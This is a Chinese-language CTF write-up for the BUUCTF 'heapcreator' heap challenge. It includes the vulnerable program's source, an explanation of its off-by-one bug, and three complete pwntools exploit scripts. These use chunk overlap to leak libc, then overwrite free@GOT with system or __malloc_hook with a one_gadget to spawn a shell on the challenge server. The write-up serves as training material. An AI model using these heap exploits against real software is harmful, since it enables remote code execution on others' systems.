这个题出了一些坑点,我吐了,做了好久
先正常走一遍吧
off-by-one的流程就是extend chunk
粗糙的写一下刻在DNA里的exp,细节问题错了就错了吧
malloc(overflow)
malloc(1)
malloc(2)
malloc(我来守护上面俩东西不被top chunk吃掉)

edit(0,payload)
free(1)
free(2)

leak_libc()
some_functions_addr()

malloc(size(1) + size(2))
edit(1,写到chunk2的fd pointer)
然后就是fastbin attack

嗯,我一开始也这样做的,很顺利在本地getshell,但是远程打不通
在仓库里有本题目的源码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void read_input(char *buf,size_t size){
	int ret ;
    ret = read(0,buf,size);
    if(ret <=0){
        puts("Error");
        _exit(-1);
    }	
}

struct heap {
	size_t size ;
	char *content ;
};

struct heap *heaparray[10];

void menu(){
	puts("--------------------------------");
	puts("          Heap Creator          ");
	puts("--------------------------------");
	puts(" 1. Create a Heap               ");
	puts(" 2. Edit a Heap                 ");
	puts(" 3. Show a Heap                 ");
	puts(" 4. Delete a Heap               ");
	puts(" 5. Exit                        ");
	puts("--------------------------------");
	printf("Your choice :");
}

void create_heap(){
	int i ;
	char buf[8];
	size_t size = 0;
	for(i = 0 ; i < 10 ; i++){
		if(!heaparray[i]){
			heaparray[i] = (struct heap *)malloc(sizeof(struct heap));
			if(!heaparray[i]){
				puts("Allocate Error");
				exit(1);
			}
			printf("Size of Heap : ");
			read(0,buf,8);
			size = atoi(buf);
			heaparray[i]->content = (char *)malloc(size);
			if(!heaparray[i]->content){
				puts("Allocate Error");
				exit(2);
			}
			heaparray[i]->size = size ;
			printf("Content of heap:");
			read_input(heaparray[i]->content,size);
			puts("SuccessFul");
			break ;
		}
	}
}

void edit_heap(){
	int idx ;
	char buf[4];
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= 10){
		puts("Out of bound!");
		_exit(0);
	}
	if(heaparray[idx]){
		printf("Content of heap : ");
		read_input(heaparray[idx]->content,heaparray[idx]->size+1);
		puts("Done !");
	}else{
		puts("No such heap !");
	}
}

void show_heap(){
	int idx ;
	char buf[4];
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= 10){
		puts("Out of bound!");
		_exit(0);
	}
	if(heaparray[idx]){
		printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content);
		puts("Done !");
	}else{
		puts("No such heap !");
	}

}

void delete_heap(){
	int idx ;
	char buf[4];
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= 10){
		puts("Out of bound!");
		_exit(0);
	}
	if(heaparray[idx]){
		free(heaparray[idx]->content);
		free(heaparray[idx]);
		heaparray[idx] = NULL ;
		puts("Done !");	
	}else{
		puts("No such heap !");
	}

}


int main(){
	char buf[4];
	setvbuf(stdout,0,2,0);
	setvbuf(stdin,0,2,0);
	while(1){
		menu();
		read(0,buf,4);
		switch(atoi(buf)){
			case 1 :
				create_heap();
				break ;
			case 2 :
				edit_heap();
				break ;
			case 3 :
				show_heap();
				break ;
			case 4 :
				delete_heap();
				break ;
			case 5 :
				exit(0);
				break ;
			default :
				puts("Invalid Choice");
				break;
		}

	}
	return 0 ;
}

逆向

很容易,没有去除符号表,很nice
创建堆块,这里malloc(0x10)来管理堆块

编辑功能存在off-by-one漏洞,可以溢出一字节

free功能没有use after free 漏洞

show功能,可以来leak libc

pwn it!!!

成功的方法:借助heaparray来改写指针


可以看到管理用户堆的内容上是有指针的,我最喜欢指针了(不是
然后我们可以改写指针,因为防护是这样的:

所以可以攻击got表,注意,攻击got的表的核心在于,,这个题是有现成的指针可以利用!如果没有的话,在ubuntu 16中,我们攻击got表的成本会很高,因为要伪造fastbin的size位
那我们思路就是本文一开始说的,只不过不覆盖fd指针而是覆盖题目给我们留下的罢了
先说说坑点吧,我用了libc-2.23.so,但是远程打不通,本地可通,就很难受,所以干脆直接LibcSearcher ,浪费了很多时间 😦
当时做题的思路都写在print语句里了,还挺好的
exp:

from pwn import *
from LibcSearcher import *

#l3mon_w@nts_A_g1rLfri3nd (bushi)
#context.log_level = 'debug'
local = 1

if local == 1:
	p = process('./heapcreator')
else:
	p = remote('node3.buuoj.cn',28861)

#libc = ELF('./libc.so.6')
elf =  ELF('./heapcreator')

def add(size,content):
	p.sendlineafter('Your choice :','1')
	p.sendlineafter('Size of Heap : ',str(size))
	p.sendafter('Content of heap:',content)

def edit(index,content):
	p.sendlineafter('Your choice :','2')
	p.sendlineafter('Index :',str(index))
	p.sendafter('Content of heap : ',content)

def show(index):
	p.sendlineafter('Your choice :','3')
	p.sendlineafter('Index :',str(index))

def delete(index):
	p.sendlineafter('Your choice :','4')
	p.sendlineafter('Index :',str(index))

print("第二个exp的思路是因为这个题目有heaparray来管理我们申请的堆块,在heaparray中有指向内容的指针,所以我们可以改写指针来覆盖got表(got表)可写")                                     

add(0x18,'A')	#chunk0 : to overflow the next chunk
add(0x30,'B')	#chunk1
pause()
add(0x60,'C')	#chunk2
add(0x10,'/bin/sh\x00')	#chunk3 : to protect
edit(0,b'B' * 0x18 + b'\xf1')

delete(1)
delete(2)
print("此时big chunk已经构造完成,by gdb , we know the unsorted bin fd ptr and bk ptr")
print("(by free 0x60 , we can change the fd pointer to fastbin attack) <-------------------- 之前的思路")
print("this method is attack free@got, the free(sth) = sysetm(/bin/sh;) ")
print("(if we cannot success ,we could use some methods to attack got) <--------------------- so we change that :(      !!!!!!!")

add(0xe0,'E')	#chunk4 = big chunk
print("we can leak libc")
show(1)

p.recvuntil('Content : ')
__malloc_hook = u64(p.recv(6) + b'\x00\x00') - 37 - 0x10
libc = LibcSearcher('__malloc_hook',__malloc_hook)
libc_base = __malloc_hook - libc.dump('__malloc_hook')
print(hex(libc_base))

print("by gdb , we know we already have leaked the libc")
print("the next,we attack free@got ")

free_got = elf.got['free']
#free_addr = libc_base + libc.symbols['free']
system_addr = libc_base + libc.dump('system')
print("free ----------> " + hex(free_got))
print("system -------> " + hex(system_addr))

payload = p64(__malloc_hook) * 2
payload = payload + p64(0) + p64(0x41)
payload = payload + p64(0) * 7 + p64(0x21) + p64(0xe0) + p64(free_got)
edit(1,payload)

add(0x60,'AAAAAAAA')	#chunk5 = chunk2
print("!!!!!!!!!!!!!!!!!!!!!! 这里不确定编辑块5还是块2,我们就加上p.interactive()拿到原始的交互程序调试一下,经过调试发现没有块5,所以这里我们应该编辑chunk2")

#edit(1,'BBBBBBBB')
print("这里很奇怪,当时我发现大chunk的heaparray在它下面,我还以为是中间出现了不可预知的错误,但是经过调试发现,当我改块1的时候,free_got被改了,那只能证明是改chunk1了")
print("小声bb,理不清流程就逐个调试(不是)")
edit(1,p64(system_addr))

print("通过free来触发 system(/bin/sh\00)  本地测试可拿shell, 美汁汁 :)    好,好起来了(不是)")
delete(3)

p.interactive()

失败的方法:one_gadget打__malloc_hook

本地也能拿shell,那肯定就是libc的原因了,one_gadget地址不一样的原因应该是
但是很奇葩,为神马这么说呢,当我打one_gadget的时候发现$rsp + 0x70的位置是NULL,但是one_gadget打不通,反倒是rsp + 0x30可以通
截图:



但是我用0x30的gadget竟然通了,本地可拿shell

不知道怎么回事,反正我人傻了,有感兴趣的师傅可以调试一下什么原因,然后给弟弟讲讲(orz
贴一下exp吧,下午再调试一下看看LibcSearcher能不能通
exp:

from pwn import *

#context.log_level = 'debug'
local = 1

if local == 1:
	p = process('./heapcreator')
else:
	p = remote('node3.buuoj.cn',26697)

libc = ELF('./libc.so.6')

def add(size,content):
	p.sendlineafter('Your choice :','1')
	p.sendlineafter('Size of Heap : ',str(size))
	p.sendafter('Content of heap:',content)

def edit(index,content):
	p.sendlineafter('Your choice :','2')
	p.sendlineafter('Index :',str(index))
	p.sendafter('Content of heap : ',content)

def show(index):
	p.sendlineafter('Your choice :','3')
	p.sendlineafter('Index :',str(index))

def delete(index):
	p.sendlineafter('Your choice :','4')
	p.sendlineafter('Index :',str(index))

print("初步思路是off-by-one,可以溢出一个字节,所以我们考虑构造重叠chunk")

add(0x18,'A')	#chunk0 : to overflow the next chunk
add(0x30,'B')	#chunk1
add(0x60,'C')	#chunk2
add(0x10,'D')	#chunk3 : to protect
edit(0,b'B' * 0x18 + b'\xf1')

delete(1)
print("此时big chunk已经构造完成,by gdb , we know the unsorted bin fd ptr and bk ptr")
delete(2)
print("by free 0x60 , we can change the fd pointer to fastbin attack")
print("this method is 'one_gadget' ")
print("if we cannot success ,we could use some methods to attack got")

add(0xe0,'E')	#chunk4
print("we can leak libc")
show(1)
#p.recv()

p.recvuntil('Content : ')
__malloc_hook = u64(p.recv(6) + b'\x00\x00') - 37 - 0x10
libc_base = __malloc_hook - libc.symbols['__malloc_hook']
one_gadget_list = [0x3f3d6,0x3f42a,0xd5bf7]
one_gadget = libc_base + one_gadget_list[1]
print(hex(libc_base))

print("by gdb , we know we already have leaked the libc")
print("the next,we do fake chunk")
payload = p64(0) * 3 + p64(0x41) + p64(0) * 7 + p64(0x21) + p64(0xe0) + p64(0x9ba050) + p64(0) + p64(0x71)
payload = payload + p64(__malloc_hook-0x23)
edit(1,payload)

add(0x60,p64(__malloc_hook-0x23))
add(0x60,b'A' * 0x13 + p64(one_gadget))
pause()
p.interactive()

又实验了两次,失败的方法终于通了

怎么说呢,比赛不给libc果然是流氓题
在github上下了俩libc都不行,最后用buuctf资源库里面提供的libc打通了
exp没变,就是多加了两行one_gadget_list(哈哈哈哈哈哈哈草)

from pwn import *

#context.log_level = 'debug'
local = 0

if local == 1:
	p = process('./heapcreator')
else:
	p = remote('node3.buuoj.cn',26902)

libc = ELF('./libc-2.23.so')

def add(size,content):
	p.sendlineafter('Your choice :','1')
	p.sendlineafter('Size of Heap : ',str(size))
	p.sendafter('Content of heap:',content)

def edit(index,content):
	p.sendlineafter('Your choice :','2')
	p.sendlineafter('Index :',str(index))
	p.sendafter('Content of heap : ',content)

def show(index):
	p.sendlineafter('Your choice :','3')
	p.sendlineafter('Index :',str(index))

def delete(index):
	p.sendlineafter('Your choice :','4')
	p.sendlineafter('Index :',str(index))

print("初步思路是off-by-one,可以溢出一个字节,所以我们考虑构造重叠chunk")

add(0x18,'A')	#chunk0 : to overflow the next chunk
add(0x30,'B')	#chunk1
add(0x60,'C')	#chunk2
add(0x10,'D')	#chunk3 : to protect
edit(0,b'B' * 0x18 + b'\xf1')

delete(1)
print("此时big chunk已经构造完成,by gdb , we know the unsorted bin fd ptr and bk ptr")
delete(2)
print("by free 0x60 , we can change the fd pointer to fastbin attack")
print("this method is 'one_gadget' ")
print("if we cannot success ,we could use some methods to attack got")

add(0xe0,'E')	#chunk4
print("we can leak libc")
show(1)
#p.recv()

p.recvuntil('Content : ')
__malloc_hook = u64(p.recv(6) + b'\x00\x00') - 37 - 0x10
libc_base = __malloc_hook - libc.symbols['__malloc_hook']
#one_gadget_list = [0x3f3d6,0x3f42a,0xd5bf7]
#one_gadget_list = [0x45226,0x4527a,0xf0364,0xf1207]
#one_gadget_list = [0x45206,0x4525a,0xef9f4,0xf0897]
one_gadget_list = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one_gadget_list[1]
print(hex(libc_base))
print("one_gadget:" + hex(one_gadget))

print("by gdb , we know we already have leaked the libc")
print("the next,we do fake chunk")
payload = p64(0) * 3 + p64(0x41) + p64(0) * 7 + p64(0x21) + p64(0xe0) + p64(0x9ba050) + p64(0) + p64(0x71)
payload = payload + p64(__malloc_hook-0x23)
edit(1,payload)

add(0x60,p64(__malloc_hook-0x23))
add(0x60,b'A' * 0x13 + p64(one_gadget))

p.interactive()